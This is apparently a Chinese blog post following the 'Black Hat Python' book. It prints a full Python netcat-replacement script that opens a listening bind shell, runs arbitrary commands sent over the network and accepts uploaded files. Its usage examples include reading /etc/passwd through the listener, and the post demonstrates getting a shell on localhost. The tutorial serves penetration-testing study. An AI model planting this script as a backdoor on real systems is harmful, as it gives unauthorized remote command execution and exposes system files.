Python黑帽子 黑客与渗透测试编程之道（三）取代netcat

netcat是个计算机网络公用程式，用来对网络连线TCP或者UDP进行读写。
透过端口3333（-l 监听状态listen）从机器foo复制到机器bar复制档案：

user@bar$ nc -l -p 3333 > backup.iso
user@foo$ nc bar 3333 < backup.iso
在端口25建立内容未加工过的连接（类似telnet）：

nc mail.server.net 25
利用零模式I/O（参数 -z）检查192.168.0.1的UDP端口（参数 -u）80-90是否开启：

nc -vzu 192.168.0.1 80-90

贴下代码，我自己跟着书上写的过程遇到的问题，就是缩进没对齐，导致整个程序后面出错了。由于代码比较长，找起来比较花时间，于是就在网上用了别人敲好的，运行出书上的结果了。

#!/usr/bin/env python2.7

import sys
import socket
import getopt
import threading
import subprocess

# define some global variables
listen             = False
command            = False
upload             = False
execute            = ""
target             = ""
upload_destination = ""
port               = 0

# this runs a command and returns the output
def run_command(command):
        
        # trim the newline
        command = command.rstrip()
        
        # run the command and get the output back
        try:
                output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
        except:
                output = "Failed to execute command.\r\n"
        
        # send the output back to the client
        return output

# this handles incoming client connections
def client_handler(client_socket):
        global upload
        global execute
        global command
        
        # check for upload
        if len(upload_destination):
                
                # read in all of the bytes and write to our destination
                file_buffer = ""
                
                # keep reading data until none is available
                while True:
                        data = client_socket.recv(1024)
                        
                        if not data:
                                break
                        else:
                                file_buffer += data
                                
                # now we take these bytes and try to write them out
                try:
                        file_descriptor = open(upload_destination,"wb")
                        file_descriptor.write(file_buffer)
                        file_descriptor.close()
                        
                        # acknowledge that we wrote the file out
                        client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
                except:
                        client_socket.send("Failed to save file to %s\r\n" % upload_destination)
                        
                
        
        # check for command execution
        if len(execute):
                
                # run the command
                output = run_command(execute)
                
                client_socket.send(output)
        
        
        # now we go into another loop if a command shell was requested
        if command:
                
                while True:
                        # show a simple prompt
                        client_socket.send(" ")
                        
                        # now we receive until we see a linefeed (enter key)
                        cmd_buffer = ""
                        while "\n" not in cmd_buffer:
                                cmd_buffer += client_socket.recv(1024)
                
                        
                        # we have a valid command so execute it and send back the results
                        response = run_command(cmd_buffer)
                        
                        # send back the response
                        client_socket.send(response)
        
# this is for incoming connections
def server_loop():
        global target
        global port
        
        # if no target is defined we listen on all interfaces
        if not len(target):
                target = "0.0.0.0"
                
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.bind((target,port))
        
        server.listen(5)        
        
        while True:
                client_socket, addr = server.accept()
                
                # spin off a thread to handle our new client
                client_thread = threading.Thread(target=client_handler,args=(client_socket,))
                client_thread.start()
                

# if we don't listen we are a client....make it so.
def client_sender(buffer):
        
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                
        try:
                # connect to our target host
                client.connect((target,port))
                
                # if we detect input from stdin send it 
                # if not we are going to wait for the user to punch some in
                
                if len(buffer):
                        
                        client.send(buffer)
                
                while True:
                        
                        # now wait for data back
                        recv_len = 1
                        response = ""
                        
                        while recv_len:
                                data     = client.recv(4096)
                                recv_len = len(data)
                                response+= data
                                
                                if recv_len < 4096:
                                        break
                        
                        print response, 
                        
                        # wait for more input
                        buffer = raw_input("")
                        buffer += "\n"                        
                        
                        # send it off
                        client.send(buffer)
                        
                
        except:
                # just catch generic errors - you can do your homework to beef this up
                print "[*] Exception! Exiting."
                
                # teardown the connection                  
                client.close()  
                        
                        
        

def usage():
        print "Netcat Replacement"
        print
        print "Usage: bhpnet.py -t target_host -p port"
        print "-l --listen                - listen on [host]:[port] for incoming connections"
        print "-e --execute=file_to_run   - execute the given file upon receiving a connection"
        print "-c --command               - initialize a command shell"
        print "-u --upload=destination    - upon receiving connection upload a file and write to [destination]"
        print
        print
        print "Examples: "
        print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
        print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
        print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
        print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
        sys.exit(0)


def main():
        global listen
        global port
        global execute
        global command
        global upload_destination
        global target
        
        if not len(sys.argv[1:]):
                usage()
                
        # read the commandline options
        try:
                opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
        except getopt.GetoptError as err:
                print str(err)
                usage()
                
                
        for o,a in opts:
                if o in ("-h","--help"):
                        usage()
                elif o in ("-l","--listen"):
                        listen = True
                elif o in ("-e", "--execute"):
                        execute = a
                elif o in ("-c", "--commandshell"):
                        command = True
                elif o in ("-u", "--upload"):
                        upload_destination = a
                elif o in ("-t", "--target"):
                        target = a
                elif o in ("-p", "--port"):
                        port = int(a)
                else:
                        assert False,"Unhandled Option"
        

        # are we going to listen or just send data from stdin
        if not listen and len(target) and port > 0:
                
                # read in the buffer from the commandline
                # this will block, so send CTRL-D if not sending input
                # to stdin
                buffer = sys.stdin.read()
                
                # send data off
                client_sender(buffer)   
        
        # we are going to listen and potentially 
        # upload things, execute commands and drop a shell back
        # depending on our command line options above
        if listen:
                server_loop()

main()       

运行情况：
在一个终端中输入：

root@kali:~# ./bhnet.py -l -p 9999 -c

按回车之后什么都没有显示，它已经在监听了。接下来打开一个新的终端，输入：

root@kali:~# ./bhnet.py -t localhost -p 9999

接下来还是没反应，接着按住ctrl+d键，就会如图所示：

接着输入：

会显示文件数及它们的属性。

再输入别的命令试试：

pwd命令 Linux中用 pwd 命令来查看”当前工作目录“的完整路径。

可以看到，我们返回了典型的命令行shell，由于我们在一个UNIX主机上，所以可以运行一些本地命令并回传其输出，就好像我们通过SSH登录一样，或者像是在目标主机本地运行。我们可以使用老派的方式直接利用客户端发送HTTP请求：

root@kali:~# echo -ne "GET / HTTP/1.1\r\nHost: www.baidu.com\r\n\r\n" | ./bhnet.py -t www.baidu.com -p 80